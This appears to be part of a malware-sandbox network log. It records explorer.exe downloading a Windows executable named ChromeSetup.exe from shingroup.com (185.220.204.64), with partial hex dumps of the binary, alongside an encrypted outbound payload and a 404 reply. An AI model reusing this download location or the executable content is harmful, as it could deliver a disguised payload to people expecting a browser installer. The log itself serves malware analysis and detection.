Nov 3, 2022 12:47:22.380117893 CET	7898	OUT	Data Raw: 48 9d 8c cf 3d 67 55 21 2a 70 52 52 7e db 55 b9 28 67 eb 65 fb 6a ab d8 b5 69 a1 83 71 85 de 99 f9 dd 8b b7 70 33 95 c6 ab 55 6a 34 cc c4 b9 41 dd 0f 7e 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 81 9a c6 a4 19 ba 8a 14 62 cd d6 4f 96 a3 d1 38 d9 Data Ascii: H=gU!*pRR~U(gejiqp3Uj4A~;}f=BbO8p&QD{jB+"m]F4JEBP5XN0C,j~ V-iYShLqFM)}si[#S3Cbd"hU
Nov 3, 2022 12:47:22.446079016 CET	7904	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:47:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49706	185.220.204.64	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-03 11:46:52 UTC	0	OUT	GET /upload/ChromeSetup.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: shingroup.com
2022-11-03 11:46:52 UTC	0	IN	HTTP/1.1 200 OK Date: Thu, 03 Nov 2022 11:46:51 GMT Server: Apache ETag: "35000-5ec8f23729152" Accept-Ranges: bytes Content-Length: 217088 Cache-Control: max-age=31536000 Expires: Fri, 03 Nov 2023 11:46:51 GMT Vary: Accept-Encoding Referrer-Policy: no-referrer-when-downgrade Connection: close Content-Type: application/x-msdownload
2022-11-03 11:46:52 UTC	0	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1b ac 4c 86 5f cd 22 d5 5f cd 22 d5 5f cd 22 d5 41 9f b7 d5 42 cd 22 d5 41 9f a1 d5 dc cd 22 d5 78 0b 59 d5 58 cd 22 d5 5f cd 23 d5 ce cd 22 d5 41 9f a6 d5 6d cd 22 d5 41 9f b6 d5 5e cd 22 d5 41 9f b3 d5 5e cd 22 d5 52 69 63 68 5f cd 22 d5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 7d cf 26 62 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 e6 01 00 00 28 17 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$L_"_"_"AB"A"xYX"_#"Am"A^"A^"Rich_"PEL}&b(
2022-11-03 11:46:52 UTC	8	IN	Data Raw: 63 61 74 69 6f 6e 27 73 20 73 75 70 70 6f 72 74 20 74 65 61 6d 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0d 0a 00 00 00 00 00 00 52 36 30 33 33 0d 0a 2d 20 41 74 74 65 6d 70 74 20 74 6f 20 75 73 65 20 4d 53 49 4c 20 63 6f 64 65 20 66 72 6f 6d 20 74 68 69 73 20 61 73 73 65 6d 62 6c 79 20 64 75 72 69 6e 67 20 6e 61 74 69 76 65 20 63 6f 64 65 20 69 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 0a 54 68 69 73 20 69 6e 64 69 63 61 74 65 73 20 61 20 62 75 67 20 69 6e 20 79 6f 75 72 20 61 70 70 6c 69 63 61 74 69 6f 6e 2e 20 49 74 20 69 73 20 6d 6f 73 74 20 6c 69 6b 65 6c 79 20 74 68 65 20 72 65 73 75 6c 74 20 6f 66 20 63 61 6c 6c 69 6e 67 20 61 6e 20 4d 53 49 4c 2d 63 6f 6d 70 69 6c 65 64 20 28 2f 63 6c 72 29 20 66 75 6e 63 74 69 6f 6e 20 66 72 Data Ascii: cation's support team for more information.R6033- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function fr
2022-11-03 11:46:52 UTC	15	IN	Data Raw: 00 00 00 00 00 00 00 70 0a 43 00 f4 49 40 00 00 00 00 00 00 00 00 00 03 00 00 00 04 4a 40 00 14 4a 40 00 74 49 40 00 74 44 40 00 00 00 00 00 70 0a 43 00 02 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 49 40 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 0a 43 00 44 4a 40 00 00 00 00 00 00 00 00 00 02 00 00 00 54 4a 40 00 60 4a 40 00 d4 44 40 00 00 00 00 00 b8 0a 43 00 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 44 4a 40 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 0a 43 00 90 4a 40 00 00 00 00 00 00 00 00 00 03 00 00 00 a0 4a 40 00 b0 4a 40 00 28 49 40 00 74 44 40 00 00 00 00 00 e8 0a 43 00 02 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 90 4a 40 00 00 00 00 00 00 00 00 00 00 00 00 00 94 07 43 00 90 44 40 00 00 00 00 00 Data Ascii: pCI@J@J@tI@tD@pC@I@CDJ@TJ@`J@D@C@DJ@CJ@J@J@(I@tD@C@J@CD@
2022-11-03 11:46:52 UTC	23	IN	Data Raw: ff ff 88 06 8b 45 08 59 5b 5f 5e c9 c2 04 00 e9 bb fb ff ff 55 8b ec 80 7d 08 00 56 8b f1 74 2c 83 7e 18 10 72 26 83 7d 0c 00 8d 46 04 57 8b 38 76 0c ff 75 0c 57 6a 10 50 e8 52 fc ff ff 8b 46 18 40 50 57 8b ce e8 77 f1 ff ff 5f ff 75 0c 8b ce c7 46 18 0f 00 00 00 e8 7f fb ff ff 5e 5d c2 08 00 55 8b ec 53 8b 5d 08 56 8b f1 57 39 5e 14 73 05 e8 dc 15 00 00 8b 46 14 8b 7d 0c 2b c3 3b c7 73 02 8b f8 85 ff 76 31 2b c7 50 8b ce e8 bb f0 ff ff 03 c3 03 c7 50 8b 46 18 2b c3 50 8b ce e8 a9 f0 ff ff 03 c3 50 e8 07 fc ff ff 8b 46 14 2b c7 50 8b ce e8 22 fb ff ff 5f 8b c6 5e 5b 5d c2 08 00 56 8b f1 6a 01 8d 4e 04 e8 af fb ff ff 50 6a 04 e8 89 e2 ff ff 59 59 85 c0 74 0a 56 8b c8 e8 de e2 ff ff eb 02 33 c0 89 06 8b c6 5e c2 04 00 55 8b ec 8b 45 10 53 8b 5d 0c 56 8b f1 Data Ascii: EY[_^U}Vt,~r&}FW8vuWjPRF@PWw_uF^]US]VW9^sF}+;sv1+PPF+PPF+P"_^[]VjNPjYYtV3^UES]V
2022-11-03 11:46:52 UTC	31	IN	Data Raw: e8 59 56 00 00 8b 75 08 3b b0 98 00 00 00 75 11 e8 49 56 00 00 8b 4e 04 89 88 98 00 00 00 5e 5d c3 e8 38 56 00 00 8b 80 98 00 00 00 eb 09 8b 48 04 3b f1 74 0f 8b c1 83 78 04 00 75 f1 5e 5d e9 3c 59 00 00 8b 4e 04 89 48 04 eb d2 8b ff 55 8b ec 83 ec 18 a1 3c 0e 43 00 83 65 e8 00 8d 4d e8 33 c1 8b 4d 08 89 45 f0 8b 45 0c 89 45 f4 8b 45 14 40 c7 45 ec ee 85 40 00 89 4d f8 89 45 fc 64 a1 00 00 00 00 89 45 e8 8d 45 e8 64 a3 00 00 00 00 ff 75 18 51 ff 75 10 e8 2e 59 00 00 8b c8 8b 45 e8 64 a3 00 00 00 00 8b c1 c9 c3 cc cc cc 6a ff 50 64 a1 00 00 00 00 50 8b 44 24 0c 64 89 25 00 00 00 00 89 6c 24 0c 8d 6c 24 0c 50 c3 8b ff 56 6a 01 68 b0 0b 43 00 8b f1 e8 78 f7 ff ff c7 06 1c 14 40 00 8b c6 5e c3 8b ff 55 8b ec 83 ec 0c eb 0d ff 75 08 e8 2b 59 00 00 59 85 c0 74 Data Ascii: YVu;uIVN^]8VH;txu^]<YNHU<CeM3MEEEE@E@MEdEEduQu.YEdjPdPD$d%l$l$PVjhCx@^Uu+YYt
2022-11-03 11:46:52 UTC	39	IN	Data Raw: 46 70 74 22 83 7e 6c 00 74 1c e8 0f 37 00 00 8b 70 6c 85 f6 75 08 6a 20 e8 bf 4c 00 00 59 8b c6 e8 d3 47 00 00 c3 6a 0c e8 8d 3c 00 00 59 83 65 fc 00 8d 46 6c 8b 3d 18 19 43 00 e8 69 ff ff ff 89 45 e4 c7 45 fc fe ff ff ff e8 02 00 00 00 eb c1 6a 0c e8 88 3b 00 00 59 8b 75 e4 c3 a1 18 19 43 00 8b 48 04 89 0d 50 9e 58 00 8b 48 08 89 0d 54 9e 58 00 8b 88 a8 00 00 00 89 0d 1c 19 43 00 8b 88 d4 00 00 00 89 0d e8 19 43 00 8b 88 bc 00 00 00 89 0d 20 1a 43 00 8b 88 c8 00 00 00 89 0d c4 0b 43 00 8b 80 ac 00 00 00 a3 24 1a 43 00 c3 8b ff 55 8b ec 53 57 8b 7d 10 33 db 3b fb 7e 2c 56 8d 75 10 83 c6 04 ff 36 ff 75 0c ff 75 08 e8 32 88 00 00 83 c4 0c 85 c0 74 0d 53 53 53 53 53 e8 1d e2 ff ff 83 c4 14 4f 75 d9 5e 5f 5b 5d c3 8b ff 55 8b ec 53 56 57 8b 7d 08 68 90 00 00 Data Ascii: Fpt"~lt7pluj LYGj<YeFl=CiEEj;YuCHPXHTXCC CC$CUSW}3;~,Vu6uu2tSSSSSOu^_[]USVW}h
2022-11-03 11:46:52 UTC	47	IN	Data Raw: 85 c0 74 05 6a 00 ff d0 c3 e9 99 ff ff ff 83 25 18 b4 58 00 00 e8 25 93 00 00 a3 18 b4 58 00 33 c0 c3 cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 08 83 e4 f0 dd 1c 24 f3 0f 7e 04 24 e8 08 00 00 00 c9 c3 66 0f 12 44 24 04 ba 00 00 00 00 66 0f 28 e8 66 0f 14 c0 66 0f 73 d5 34 66 0f c5 cd 00 66 0f 28 0d 00 20 40 00 66 0f 28 1d 60 20 40 00 66 0f 28 25 10 20 40 00 66 0f 28 35 20 20 40 00 66 0f 54 c1 66 0f 56 c3 66 0f 58 e0 66 0f c5 c4 00 25 f0 07 00 00 66 0f 28 a0 e0 20 40 00 66 0f 28 b8 f0 24 40 00 66 0f 54 f0 66 0f 5c c6 66 0f 59 f4 66 0f 5c f3 f2 0f 58 fe 66 0f 59 c4 66 0f 28 e0 66 0f 58 c6 81 e1 ff 0f 00 00 83 e9 01 81 f9 fd 07 00 00 0f 87 ae 00 00 00 81 e9 fe 03 00 00 03 ca f2 0f 2a f1 66 0f 14 f6 c1 e1 0a 03 c1 b9 10 00 00 00 ba 00 00 00 00 83 f8 00 0f 44 Data Ascii: tj%X%X3U$~$fD$f(ffs4ff( @f(` @f(% @f(5 @fTfVfXf%f( @f($@fTf\fYf\XfYf(fX*fD
2022-11-03 11:46:52 UTC	55	IN	Data Raw: 49 04 89 4e 04 8b 4d 0c 8b 71 04 8b 49 08 89 4e 08 8b 75 0c eb 03 8b 5d 08 83 7d f4 00 75 08 3b da 0f 84 80 00 00 00 8b 4d f0 8d 0c d1 8b 59 04 89 4e 08 89 5e 04 89 71 04 8b 4e 04 89 71 08 8b 4e 04 3b 4e 08 75 60 8a 4c 02 04 88 4d 0f fe c1 88 4c 02 04 83 fa 20 73 25 80 7d 0f 00 75 0e 8b ca bb 00 00 00 80 d3 eb 8b 4d 08 09 19 bb 00 00 00 80 8b ca d3 eb 8d 44 b8 44 09 18 eb 29 80 7d 0f 00 75 10 8d 4a e0 bb 00 00 00 80 d3 eb 8b 4d 08 09 59 04 8d 4a e0 ba 00 00 00 80 d3 ea 8d 84 b8 c4 00 00 00 09 10 8b 45 fc 89 06 89 44 30 fc 8b 45 f0 ff 08 0f 85 f3 00 00 00 a1 a0 98 58 00 85 c0 0f 84 d8 00 00 00 8b 0d 10 b4 58 00 8b 35 90 11 40 00 68 00 40 00 00 c1 e1 0f 03 48 0c bb 00 80 00 00 53 51 ff d6 8b 0d 10 b4 58 00 a1 a0 98 58 00 ba 00 00 00 80 d3 ea 09 50 08 a1 a0 Data Ascii: INMqINu]}u;MYN^qNqN;Nu`LML s%}uMDD)}uJMYJED0EXX5@h@HSQXXP
2022-11-03 11:46:52 UTC	62	IN	Data Raw: e9 54 08 00 00 80 3b 6c 75 16 43 81 8d f0 fd ff ff 00 10 00 00 89 9d c4 fd ff ff e9 39 08 00 00 83 8d f0 fd ff ff 10 e9 2d 08 00 00 83 8d f0 fd ff ff 20 e9 21 08 00 00 8a 03 3c 36 75 1d 80 7b 01 34 75 17 43 43 81 8d f0 fd ff ff 00 80 00 00 89 9d c4 fd ff ff e9 fe 07 00 00 3c 33 75 1d 80 7b 01 32 75 17 43 43 81 a5 f0 fd ff ff ff 7f ff ff 89 9d c4 fd ff ff e9 dd 07 00 00 3c 64 0f 84 d5 07 00 00 3c 69 0f 84 cd 07 00 00 3c 6f 0f 84 c5 07 00 00 3c 75 0f 84 bd 07 00 00 3c 78 0f 84 b5 07 00 00 3c 58 0f 84 ad 07 00 00 89 b5 94 fd ff ff 8d 85 a4 fd ff ff 50 0f b6 c2 50 89 b5 c8 fd ff ff e8 50 7b 00 00 59 85 c0 8a 85 ef fd ff ff 59 74 22 8b 8d b4 fd ff ff 8d b5 d8 fd ff ff e8 a4 fb ff ff 8a 03 43 89 9d c4 fd ff ff 84 c0 0f 84 a4 fc ff ff 8b 8d b4 fd ff ff 8d b5 d8 Data Ascii: T;luC9- !<6u{4uCC<3u{2uCC<d<i<o<u<x<XPPP{YYt"C
2022-11-03 11:46:52 UTC	70	IN	Data Raw: 58 00 c7 05 68 9e 58 00 09 04 00 c0 c7 05 6c 9e 58 00 01 00 00 00 a1 3c 0e 43 00 89 85 d8 fc ff ff a1 40 0e 43 00 89 85 dc fc ff ff ff 15 50 11 40 00 a3 b8 9e 58 00 6a 01 e8 69 cc ff ff 59 6a 00 ff 15 4c 11 40 00 68 ac 30 40 00 ff 15 48 11 40 00 83 3d b8 9e 58 00 00 75 08 6a 01 e8 45 cc ff ff 59 68 09 04 00 c0 ff 15 44 11 40 00 50 ff 15 40 11 40 00 c9 c3 8b ff 55 8b ec 83 ec 10 0f b7 48 42 0f b7 50 44 89 4d fc 89 55 f8 85 f6 75 05 83 c8 ff c9 c3 83 65 f4 00 53 57 89 45 f0 8d 46 04 50 6a 31 51 33 db 43 8d 45 f0 53 50 e8 a8 fa ff ff 8b f8 8d 46 08 50 6a 32 ff 75 fc 8d 45 f0 53 50 e8 93 fa ff ff 0b f8 8d 46 0c 50 6a 33 ff 75 fc 8d 45 f0 53 50 e8 7e fa ff ff 0b f8 8d 46 10 50 6a 34 ff 75 fc 8d 45 f0 53 50 e8 69 fa ff ff 83 c4 50 0b f8 8d 46 14 50 6a 35 ff 75 Data Ascii: XhXlX<C@CP@XjiYjL@h0@H@=XujEYhD@P@@UHBPDMUueSWEFPj1Q3CESPFPj2uESPFPj3uESP~FPj4uESPiPFPj5u
2022-11-03 11:46:52 UTC	78	IN	Data Raw: 85 f6 0f 9f c2 8d 54 12 ff 8b f2 85 f6 0f 85 9d fa ff ff 0f b6 70 ee 0f b6 51 ee 2b f2 74 11 33 d2 85 f6 0f 9f c2 8d 54 12 ff 8b f2 eb 02 33 f6 85 f6 0f 85 78 fa ff ff 8b 50 ef 3b 51 ef 74 7d 0f b6 f2 0f b6 51 ef 2b f2 74 15 33 d2 85 f6 0f 9f c2 8d 54 12 ff 8b f2 85 f6 0f 85 50 fa ff ff 0f b6 70 f0 0f b6 51 f0 2b f2 74 15 33 d2 85 f6 0f 9f c2 8d 54 12 ff 8b f2 85 f6 0f 85 2f fa ff ff 0f b6 70 f1 0f b6 51 f1 2b f2 74 15 33 d2 85 f6 0f 9f c2 8d 54 12 ff 8b f2 85 f6 0f 85 0e fa ff ff 0f b6 70 f2 0f b6 51 f2 2b f2 74 11 33 d2 85 f6 0f 9f c2 8d 54 12 ff 8b f2 eb 02 33 f6 85 f6 0f 85 e9 f9 ff ff 8b 50 f3 3b 51 f3 74 7d 0f b6 f2 0f b6 51 f3 2b f2 74 15 33 d2 85 f6 0f 9f c2 8d 54 12 ff 8b f2 85 f6 0f 85 c1 f9 ff ff 0f b6 70 f4 0f b6 51 f4 2b f2 74 15 33 d2 85 f6 Data Ascii: TpQ+t3T3xP;Qt}Q+t3TPpQ+t3T/pQ+t3TpQ+t3T3P;Qt}Q+t3TpQ+t3
2022-11-03 11:46:52 UTC	86	IN	Data Raw: 24 0c e8 c4 fb ff ff d9 cc 83 c4 2c c3 db 7c 24 0c d9 cc db 3c 24 e8 b0 fb ff ff d9 cc db 6c 24 0c 83 c4 2c c3 db 7c 24 0c d9 cc db 3c 24 e8 98 fb ff ff d9 cc 83 c4 2c c3 db 7c 24 0c d9 cd d9 c0 db 3c 24 db 7c 24 20 e8 7e fb ff ff d9 cd db 6c 24 20 d9 ce 83 c4 2c c3 83 c4 2c cd 06 db 3c 24 d9 cd db 7c 24 0c e8 5f fb ff ff d9 cd db 6c 24 0c d9 ce 83 c4 2c c3 83 c4 2c cd 06 d9 ce db 7c 24 0c d9 cd d9 c0 db 3c 24 db 7c 24 20 e8 38 fb ff ff d9 cd db 6c 24 20 83 c4 2c c3 db 3c 24 d9 cd db 7c 24 0c e8 20 fb ff ff d9 cd 83 c4 2c c3 db 7c 24 0c d9 cd db 3c 24 e8 0c fb ff ff d9 cd db 6c 24 0c 83 c4 2c c3 db 7c 24 0c d9 cd db 3c 24 e8 f4 fa ff ff d9 cd 83 c4 2c c3 db 7c 24 0c d9 ce d9 c0 db 3c 24 db 7c 24 20 e8 da fa ff ff d9 ce db 6c 24 20 d9 cf 83 c4 2c c3 83 c4 Data Ascii: $,\|$<$l$,\|$<$,\|$<$\|$ ~l$ ,,<$\|$_l$,,\|$<$\|$ 8l$ ,<$\|$ ,\|$<$l$,\|$<$,\|$<$\|$ l$ ,
2022-11-03 11:46:52 UTC	94	IN	Data Raw: 75 18 ff 75 14 ff 75 10 ff 75 0c ff 15 04 12 40 00 80 7d fc 00 74 07 8b 4d f8 83 61 70 fd c9 c3 8b ff 55 8b ec 51 51 a1 3c 0e 43 00 33 c5 89 45 fc a1 f0 a1 58 00 53 8b 1d 04 12 40 00 56 57 33 ff 33 f6 47 3b c6 75 2c 56 56 57 56 ff d3 85 c0 74 08 89 3d f0 a1 58 00 eb 2f ff 15 38 11 40 00 83 f8 78 75 0a 6a 02 58 a3 f0 a1 58 00 eb 05 a1 f0 a1 58 00 83 f8 02 0f 84 be 00 00 00 3b c6 0f 84 b6 00 00 00 3b c7 75 23 39 75 1c 75 0b 8b 45 08 8b 00 8b 40 04 89 45 1c 56 56 ff 75 10 ff 75 0c ff d3 8b c8 89 4d f8 3b ce 75 07 33 c0 e9 9a 00 00 00 7e 45 6a e0 33 d2 58 f7 f1 83 f8 02 72 39 8d 44 09 08 3d 00 04 00 00 77 16 e8 ea 99 ff ff 8b fc 3b fe 74 d5 c7 07 cc cc 00 00 83 c7 08 eb 1a 50 e8 d0 31 ff ff 59 3b c6 74 09 c7 00 dd dd 00 00 83 c0 08 8b f8 eb 02 33 ff 3b fe 74 Data Ascii: uuuu@}tMapUQQ<C3EXS@VW33G;u,VVWVt=X/8@xujXXX;;u#9uuE@EVVuuM;u3~Ej3Xr9D=w;tP1Y;t3;t
2022-11-03 11:46:52 UTC	101	IN	Data Raw: 89 75 e0 8b 75 bc 89 4d e8 c1 e9 18 03 f6 80 c1 30 8b c7 c1 e8 1f 0b f0 88 0b 43 ff 4d b4 83 7d b4 00 89 75 e4 c6 45 eb 00 0f 8f 4b ff ff ff 4b 8a 03 4b 3c 35 7d 0e 8b 4d c0 eb 44 80 3b 39 75 09 c6 03 30 4b 3b 5d c0 73 f2 8b 45 a0 3b 5d c0 73 04 43 66 ff 00 fe 03 2a d8 80 eb 03 0f be cb 88 58 03 c6 44 01 04 00 8b 45 8c 8b 4d fc 5f 5e 33 cd 5b e8 0e 02 ff ff c9 c3 80 3b 30 75 05 4b 3b d9 73 f6 8b 45 a0 3b d9 73 cd 33 d2 66 89 10 ba 00 80 00 00 66 39 55 90 c6 40 03 01 0f 95 c2 fe ca 80 e2 0d 80 c2 20 88 50 02 c6 01 30 c6 40 05 00 e9 8e f7 ff ff 33 c0 f6 c3 10 74 01 40 f6 c3 08 74 03 83 c8 04 f6 c3 04 74 03 83 c8 08 f6 c3 02 74 03 83 c8 10 f6 c3 01 74 03 83 c8 20 f7 c3 00 00 08 00 74 03 83 c8 02 8b cb ba 00 03 00 00 23 ca 56 be 00 02 00 00 74 23 81 f9 00 01 Data Ascii: uuM0CM}uEKKK<5}MD;9u0K;]sE;]sCf*XDEM_^3[;0uK;sE;s3ff9U@ P0@3t@tttt t#Vt#
2022-11-03 11:46:52 UTC	109	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-11-03 11:46:52 UTC	117	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff 63 ba 41 00 22 05 93 19 01 00 00 00 38 e0 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff 75 ba 41 00 22 05 93 19 01 00 00 00 64 e0 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff 87 ba 41 00 22 05 93 19 01 00 00 00 90 e0 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff ad ba 41 00 00 00 00 00 c9 ba 41 00 22 05 93 19 02 00 00 00 bc e0 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff de ba 41 00 00 00 00 00 fa ba 41 00 22 05 93 19 02 00 00 00 f0 e0 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 Data Ascii: cA"8AuA"dAA"AAA"AAA"A
2022-11-03 11:46:52 UTC	125	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-11-03 11:46:52 UTC	133	IN	Data Raw: 88 20 83 a3 cb 18 7b 9d b4 98 3b d7 96 1e ed de 19 47 b9 02 23 1d 37 65 a6 5d 85 2f ee 25 20 e0 d1 a5 ad 15 0f b3 15 82 1e 5c d7 e9 96 25 0d 2d 79 b0 ca a8 c3 6b 6d 97 80 43 65 ec 31 e7 b6 a1 21 ba 08 16 fb 81 6c 6d 40 67 60 e0 ae 05 c9 d0 2d 00 55 55 78 ae b0 86 e2 60 8e da 50 2f 17 dc 65 d8 09 32 d2 ae a8 a1 9c d7 8e 76 aa 2f 1a 3c b1 0b 43 aa 8e 37 57 11 38 5d 53 75 15 3c 8b a6 ef 29 16 b5 11 79 dd 47 f1 ff 1c f7 9a 1f 1c 6d 16 a2 c8 db f5 2c cf d6 de 8b e1 3b 64 13 b4 a5 41 db 12 1f 2c bc e1 6f 6d 74 0b eb 43 d0 58 f4 e5 8b 15 82 b7 ce c1 fd 46 88 cd 4c 3f 0a 10 b2 9f 58 a4 09 ca 53 76 50 b4 2e 66 b3 36 10 52 b5 90 0c 55 31 ef c0 8d 43 9e 4b c5 ec 81 16 fd 75 2c 27 08 34 84 13 6b ef 05 f0 dc 5d 01 d2 8a f3 5a 13 9b 47 ca 99 4c 2b 28 10 e6 89 3c f2 15 Data Ascii: {;G#7e]/% \%-ykmCe1!lm@g`-UUx`P/e2v/<C7W8]Su<)yGm,;dA,omtCXFL?XSvP.f6RU1CKu,'4k]ZGL+(<
2022-11-03 11:46:52 UTC	140	IN	Data Raw: d1 69 86 7a 50 b8 b7 08 b2 6e a0 4f 44 a1 f7 1c b8 15 6d 42 70 d0 3f 1c 66 e6 1f 47 12 70 09 77 18 99 98 31 a9 f5 3a 39 b8 e2 72 4f 0d d3 c7 57 ab e8 70 ab 26 34 1b 00 a7 25 f8 60 5d 7c d3 70 92 79 e8 25 92 f7 d3 0f 26 19 0a 00 99 db a9 88 59 13 4e 31 5c 68 03 8e d1 6b e4 e9 0b db 77 0e 1b 20 a1 06 31 ca 59 dd 54 50 3b 9a 6f 5d fe f4 2d 41 59 ee 24 0f d1 0e 85 2d d6 a2 47 f6 73 6b 30 71 78 00 74 7b 07 03 b8 c5 34 b0 b6 ba 30 06 8f 3a 46 7a 57 ad 73 0d 13 6a bd 5d 33 94 3c ca fe 0d 78 6d 71 a3 19 6c 01 23 b5 c6 a7 cc 5b 4d 2f 6e e9 aa 9e 3f 30 e1 aa 6b ea 46 69 44 51 86 51 78 61 71 1e ac 76 34 b2 07 53 37 a2 b5 25 01 91 8f 16 fe b3 a0 d8 e5 8e 5f d6 84 15 bc cd ad a9 69 3e 5a b1 11 5f 81 5e ec 8c 6e 2b 58 02 f1 f2 c0 b1 f6 b2 06 e7 a2 f7 65 78 76 87 77 f2 Data Ascii: izPnODmBp?fGpw1:9rOWp&4%`]\|py%&YN1\hkw 1YTP;o]-AY$-Gsk0qxt{40:FzWsj]3<xmql#[M/n?0kFiDQQxaqv4S7%_i>Z_^n+Xexvw
